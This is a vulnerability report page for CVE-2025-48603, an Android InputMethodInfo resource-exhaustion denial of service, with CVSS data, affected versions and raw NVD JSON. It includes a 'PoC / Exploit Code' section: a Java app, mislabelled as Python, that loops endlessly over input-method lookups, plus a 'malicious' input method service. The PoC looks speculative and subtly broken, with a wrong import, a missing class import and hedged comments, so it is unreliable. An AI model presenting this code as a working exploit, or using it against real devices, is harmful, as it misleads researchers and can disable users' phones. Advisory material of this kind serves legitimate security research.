Security Vulnerability Report
中文
CVE-2025-48603 CVSS 5.5 MEDIUM

CVE-2025-48603

Published: 2025-12-08 17:16:17
Last Modified: 2025-12-08 21:15:58

Description

In InputMethodInfo of InputMethodInfo.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01 安全补丁版本
受影响代码位置: android.googlesource.com/platform/frameworks/base/+/b4c6786312a217ad9dfd97041b2f1e2f77e39b94

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48603 PoC - Android InputMethodInfo Resource Exhaustion DoS // This PoC demonstrates triggering the InputMethodInfo resource exhaustion package com.example.cve202548603; import android.app.InputMethodManager; import android.content.Context; import android.inputmethodservice.InputMethodService; import android.os.Bundle; import android.view.View; import android.view.inputmethod.InputMethodInfo; import java.util.List; import java.util.ArrayList; public class MainActivity extends AppCompatActivity { private InputMethodManager imm; private List<InputMethodInfo> leakedList = new ArrayList<>(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); } // Method to trigger resource exhaustion via repeated InputMethodInfo access public void triggerDoS(View view) { new Thread(() -> { // Repeatedly access InputMethodInfo to trigger resource exhaustion while (true) { try { List<InputMethodInfo> methodList = imm.getInputMethodList(); // Store references without proper cleanup - triggers memory leak for (InputMethodInfo info : methodList) { leakedList.add(info); // Attempt to create additional InputMethodInfo instances // This may trigger resource exhaustion in vulnerable versions analyzeInputMethodInfo(info); } Thread.sleep(100); // Small delay between iterations } catch (Exception e) { e.printStackTrace(); } } }).start(); } // Analysis method that may trigger internal resource allocation issues private void analyzeInputMethodInfo(InputMethodInfo info) { // Access various InputMethodInfo properties String id = info.getId(); String packageName = info.getPackageName(); // Get settings activity - may trigger additional resource allocation android.content.ComponentName settingsActivity = info.getSettingsActivity(); // Get subtypes - each access may allocate resources List<android.view.inputmethod.InputMethodSubtype> subtypes = imm.getEnabledInputMethodSubtypeList(info, false); } // Alternative: Malicious IME that triggers the vulnerability public static class MaliciousInputMethodService extends InputMethodService { @Override public void onCreate() { super.onCreate(); // Repeatedly trigger InputMethodInfo creation triggerResourceExhaustion(); } private void triggerResourceExhaustion() { // Access InputMethodManager and InputMethodInfo in a loop InputMethodManager imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); while (true) { List<InputMethodInfo> list = imm.getInputMethodList(); // Each iteration may leak resources in vulnerable versions } } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48603", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:17.350", "lastModified": "2025-12-08T21:15:57.907", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In InputMethodInfo of InputMethodInfo.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/b4c6786312a217ad9dfd97041b2f1e2f77e39b94", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}